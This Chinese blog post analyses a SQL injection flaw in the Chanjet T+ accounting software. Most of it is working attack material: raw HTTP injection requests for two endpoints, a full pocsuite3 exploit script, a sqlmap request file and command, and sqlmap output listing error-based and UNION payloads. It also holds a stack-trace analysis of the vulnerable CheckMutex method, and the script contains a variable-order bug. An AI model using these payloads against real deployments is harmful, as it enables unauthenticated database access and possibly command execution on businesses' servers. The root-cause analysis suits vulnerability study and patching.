概述:畅捷通T+ SQL 注入漏洞(含POC)
免责声明:本文所涉及的信息安全技术知识仅供参考 和学习之用,并不构成任何明示或暗示的保证。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本文作者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,本文作者不对因使用本文内容而导致的任何直接、间接、特殊或后果性损失承担责任。读者在使用本文内容时应当遵守当地法律法规,并保证不违反任何相关法律法规。
[toc]
漏洞说明
畅捷通T+SQL注入漏洞,未经身份认证的远程攻击者可在易受攻击系统上执行任意SQL语句,某些情况下攻击者利用该漏洞可在底层操作系统上执行shell命令。
POC
畅捷通T+ 13.0
畅捷通T+ 16.0
POC
poc
1 2 3 4 5 6 7 8 9 10 POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1 Host: 192.168.19.137:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 53 {"accNum": "3'and (select @@version)>0--", "functionTag": "SYS0104", "url": ""}
使用 pocsuit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from collections import OrderedDictfrom urllib.parse import urljoinimport refrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPEfrom pocsuite3.api import OrderedDict, OptStringfrom urllib3.exceptions import InsecureRequestWarningimport jsonimport osclass ChanJetPOC (POCBase ): vulID = '0' version = '1' author = ['' ] vulDate = '2022-09-23' createDate = '2022-09-23' updateDate = '2022-09-23' references = ['' ] name = '畅捷通T+ SQL上传' appPowerLink = '' appName = '畅捷通T+' appVersion = '''13.0 <= 畅捷通T+单机版<=16.0且使用IIS10.0以下版本''' vulType = VUL_TYPE.UPLOAD_FILES desc = ''' CNVD-2022-60632 畅捷通T+ SQL漏洞 ''' samples = ['' ] install_requires = ['' ] pocDesc = ''' 检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify ''' category = POC_CATEGORY.EXPLOITS.REMOTE def _verify (self ): if self.url.endswith("/" ): path = "tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex" else : path = "/tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex" result = {} headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36' , } if not self.url.startswith('http://' ) and not url.startswith('https://' ): url = 'http://' + self.url url = self.url + path headers['Content-Type' ] = "application/x-www-form-urlencoded" data = '''{"accNum": "3'and (select @@version)>0--", "functionTag": "SYS0104", "url": ""} # data = ''' {"accNum" : "3' AND (select )-- NCab" , "functionTag" : "SYS0104" , "url" : "" } ''' print(f"数据: {data}") print(f"扫描目标: {url}") try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) repData =requests.post(url, headers=headers, data=data, timeout=1000, verify=False) print(f"响应: {repData.text}") if "Microsoft SQL Server" in repData.text and "error" not in repData.text: #if repData.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['message'] = repData.text result['VerifyInfo']['shell'] = self.url + '/tplus/UFAQD/InitServerInfo.aspx?preload=1' except Exception as e: print(e) return return self.parse_output(result) def _attack(self): return self._verify() def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _shell(self): return def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(ChanJetPOC)
使用 pocsuit 执行上述 poc 结果如下所示:
可以看到执行的 POC 为 {"accNum": "3'and (select @@version)>0--", "functionTag": "SYS0104", "url": ""}
,查询语句为 select @@version
,并且查询返回了 SQL Server 的版本为 Microsoft SQL Server 2022 (RTM)……
。
使用 SqlMap 检测
根据上述 POC 编写 sqlmap 的检测文件。
1 2 3 4 5 6 7 8 9 10 11 # sql.txt POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 53 {"accNum": "3'", "functionTag": "SYS0104", "url": ""}
使用 sqlmap 执行上述检测文件,如果为 sqlmap 不熟悉,可以参考这篇文章:【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新_web union sql 注入 测试工具-CSDN博客
1 python sqlmap.py -r sql.txt --random-agent -v 3 --dbms mssql --hex -p "accNum" --batch
这里对上述执行命令稍加说明:
-r
: 指定从文件中加载 http 请求
--random-agent
:使用随机选择的HTTP User-Agent头部值
-v
: 详细级别: 0-6(默认为1)
--dbms
: 指定是数据库名
--hex
: 在数据检索过程中使用十六进制转换
-p
: 可测试的参数
--batch
: 不要询问用户输入,使用默认行为
运行完上述命令之后就会生成 sql 漏洞相关注入点,以畅捷通 SQL 漏洞为例,输出如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 sqlmap identified the following injection point(s) with a total of 56 HTTP(s) requests: --- Parameter: JSON accNum ((custom) POST) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) Payload: {"accNum": "3' AND 3159 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3159=3159) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(113)+CHAR(113)))-- zxmb", "functionTag": "SYS0104", "url": ""} Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) Type: UNION query Title: Generic UNION query (NULL) - 22 columns Payload: {"accNum": "3' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(72)+CHAR(103)+CHAR(87)+CHAR(72)+CHAR(115)+CHAR(109)+CHAR(84)+CHAR(82)+CHAR(117)+CHAR(65)+CHAR(80)+CHAR(105)+CHAR(112)+CHAR(84)+CHAR(81)+CHAR(66)+CHAR(116)+CHAR(120)+CHAR(73)+CHAR(103)+CHAR(106)+CHAR(79)+CHAR(71)+CHAR(102)+CHAR(80)+CHAR(110)+CHAR(104)+CHAR(75)+CHAR(113)+CHAR(116)+CHAR(82)+CHAR(114)+CHAR(112)+CHAR(117)+CHAR(82)+CHAR(104)+CHAR(89)+CHAR(105)+CHAR(114)+CHAR(73)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(113)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- nhDS", "functionTag": "SYS0104", "url": ""} Vector: UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL[GENERIC_SQL_COMMENT] --- web server operating system: Windows web application technology: Nginx 1.16.1, ASP.NET, ASP.NET 4.0.30319 back-end DBMS: Microsoft SQL Server 2022
以下是【文心一言】对上述结果的解读:
SQLMap 的输出显示了它已识别到的 SQL 注入点,并提供了详细的注入类型和对应的 payload。这是它自动检测到的潜在安全漏洞。
以下是关于输出的一些解释:
注入点信息
参数 :JSON accNum
是一个 JSON 格式的 POST 请求参数,它是 SQL 注入的入口点。
类型
error-based :基于错误的注入类型,它利用数据库错误消息来推断 SQL 查询的结构。
UNION query :UNION 查询注入类型,它利用 SQL 的 UNION 语句来合并多个查询结果。
Payload
Payload 是 SQLMap 构造的恶意输入,用于触发 SQL 注入并提取信息。例如,3' AND 3159 IN (SELECT ...
就是一个用于触发基于错误的注入的 payload。
Vector
Vector 是 SQLMap 使用的注入模板,用于构造具体的 payload。
Web 服务器操作系统和技术
SQLMap 还识别了目标服务器的操作系统(Windows)以及使用的 web 技术(Nginx 1.16.1, ASP.NET , ASP.NET 4.0.30319)。
后端数据库管理系统
识别出的后端数据库是 Microsoft SQL Server 2022。
根据这些信息,您可以进一步分析目标系统的安全性,并考虑采取适当的措施来修复这些 SQL 注入漏洞。这可能包括更新或修补应用程序代码、使用参数化查询或预编译的语句来防止 SQL 注入,以及限制对数据库的访问权限等。
请注意,在实际环境中,一旦发现了 SQL 注入漏洞,您应该立即通知相关的系统管理员或安全团队,并避免未经授权地访问或利用这些漏洞。
堆栈分析
SQL 执行堆栈
SQL 执行函数:
ExecuteReader 执行的 SQL 注入的参数:
“select id,UseLogID,Acaa_Num,UserID,UserName,PersonName,Url,HostAddress,HostName,FunctionTag,FunctionName,BeginTime,State,Version,Description,TaskID,ModelClassType,ModelType,ClientType,ServerAddress from EAP_Mutex with(nolock) where userid <> N’’ and Acaa_Num = N’6’and (select @@version)>0-- N’ and Version = ‘YWTPro N’ order by begintime”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 System.Data.dll!System.Data.SqlClient.SqlCommand.ExecuteReader(System.Data.CommandBehavior behavior, string method) (IL=0x0000 , Native=0x00007FF928E40F90 +0x37 )internal SqlDataReader ExecuteReader (CommandBehavior behavior, string method ) { SqlConnection.ExecutePermission.Demand(); this ._pendingCancel = false ; SqlStatistics statistics = null ; TdsParser target = null ; RuntimeHelpers.PrepareConstrainedRegions(); bool success = false ; int ? sqlExceptionNumber = null ; SqlDataReader result; try { this .WriteBeginExecuteEvent(); target = SqlInternalConnection.GetBestEffortCleanupTarget(this ._activeConnection); statistics = SqlStatistics.StartTimer(this .Statistics); SqlDataReader sqlDataReader = this .RunExecuteReader(behavior, RunBehavior.ReturnImmediately, true , method); success = true ; result = sqlDataReader; } catch (SqlException ex) { sqlExceptionNumber = new int ?(ex.Number); throw ; } catch (OutOfMemoryException e) { this ._activeConnection.Abort(e); throw ; } catch (StackOverflowException e2) { this ._activeConnection.Abort(e2); throw ; } catch (ThreadAbortException e3) { this ._activeConnection.Abort(e3); SqlInternalConnection.BestEffortCleanup(target); throw ; } finally { SqlStatistics.StopTimer(statistics); this .WriteEndExecuteEvent(success, sqlExceptionNumber, true ); } return result; }
漏洞堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Ufida.T.SM.UIP.dll!Ufida.T.SM.UIP.MultiCompanyController.CheckMutex(string url, string accNum, string functionTag) (IL=prolog, Native=0x00007FF8F4474D30 +0x0 ) [本机到托管的转换] mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object [] parameters, object [] arguments) (IL≈0x0016 , Native=0x00007FF94CA3F9A0 +0x84 ) mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object [] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FF94CA57300 +0x92 ) mscorlib.dll!System.Reflection.MethodBase.Invoke(object obj, object [] parameters) (IL=epilog, Native=0x00007FF94CAD6AE0 +0x22 ) AjaxPro.2 .dll!AjaxPro.AjaxProcHelper.Run() (IL≈0x066C , Native=0x00007FF8F44599A0 +0xAD3 ) AjaxPro.2 .dll!AjaxPro.AjaxSyncHttpHandler.ProcessRequest(System.Web.HttpContext context) (IL=0x0010 , Native=0x00007FF8F4459900 +0x3A ) System.Web.dll!System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL≈0x018D , Native=0x00007FF93CA37CD0 +0x21E ) System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FF93C9FADA0 +0x4B ) System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015 , Native=0x00007FF93C9FAE00 +0x5D ) System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A , Native=0x00007FF93CA0E650 +0x5CF ) System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031 , Native=0x00007FF93C9F9AB0 +0x7D ) System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0 , Native=0x00007FF93CA0CCA0 +0xE0 ) System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131 , Native=0x00007FF93C9FBE90 +0x4DC ) System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000 , Native=0x00007FF93C9FBE50 +0x14 ) [托管到本机的转换] System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7 , Native=0x00007FF93C9FBE90 +0x607 ) System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000 , Native=0x00007FF93C9FBE50 +0x14 ) [程序域转换]
主要看方法 Ufida.T.SM.UIP.dll!Ufida.T.SM.UIP.MultiCompanyController.CheckMutex(string url, string accNum, string functionTag)
入参如下所示:
其中 CheckMutex
的属性为 AjaxMethod
,然后我们根据入参提供对应的参数即可。
可以看到需要满足 functionTag
为 SYS0104
,才能执行 CheckUserFunction
函数,而 CheckUserFunction
执行的就是 accNum
的值。
然后在执行畅捷通接口 Ufida.T.EAP.Mutex.Interface.IMutex.CheckUserFunction
时报了异常,但是仍然执行了 SQL 。
在异常信息中可以看到
1 $exception.SqlString = "select id,UseLogID,Acaa_Num,UserID,UserName,PersonName,Url,HostAddress,HostName,FunctionTag,FunctionName,BeginTime,State,Version,Description,TaskID,ModelClassType,ModelType,ClientType,ServerAddress from EAP_Mutex with(nolock) where userid <> N'' and Acaa_Num = N'3'and (select @@version)>0-- N' and Version = 'YWTPro N' order by begintime"
可以看下注入前与注入后的SQL语句对比:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 select id, UseLogID, Acaa_Num, UserID, UserName, PersonName, Url, HostAddress, HostName, FunctionTag, FunctionName, BeginTime, State, Version, Description, TaskID, ModelClassType, ModelType, ClientType, ServerAddressfrom EAP_Mutexwith (nolock) # 上边代码一致 # 注入前where userid <> N'' and Acaa_Num = N'3N' and Version = 'YWTPro N' # 注入后where userid <> N'' and Acaa_Num = N'3' and (select @@version )> 0 Version = 'YWTPro N'
然后在执行时因为报错,返回了异常信息,也就返回了我们要执行的查询结果,异常捕捉的堆栈如下所示:
1 2 3 4 5 在 Ufida.T .EAP .Aop .Dynamic .LocalCallDynamicProxyImpl .NormalInvoke (MethodBase method, Object[] args, Boolean needFreeCuid)\r\n 在 Ufida.T .EAP .Aop .Dynamic .LocalCallDynamicProxyImpl .Invoke (IMessage message)\r\n 在 System.Runtime .Remoting .Proxies .RealProxy .PrivateInvoke (MessageData& msgData, Int32 type)\r\n 在 Ufida.T .EAP .Mutex .Interface .IMutex .CheckUserFunction (String accountNum)\r\n 在 Ufida.T .SM .UIP .MultiCompanyController .CheckMutex (String url, String accNum, String functionTag)
使用 dnSpy 反编译之后可以看到,CheckMutexDelete 方法也可以用于该漏洞,需要在 请求体添加 dsName
参数:
1 2 3 4 5 6 7 8 9 10 POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutexDelete HTTP/1.1 Host: 192.168.19.137:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 53 {"accNum": "3'and (select @@version)>0--", "functionTag": "SYS0104", "url": "", "dsName":""}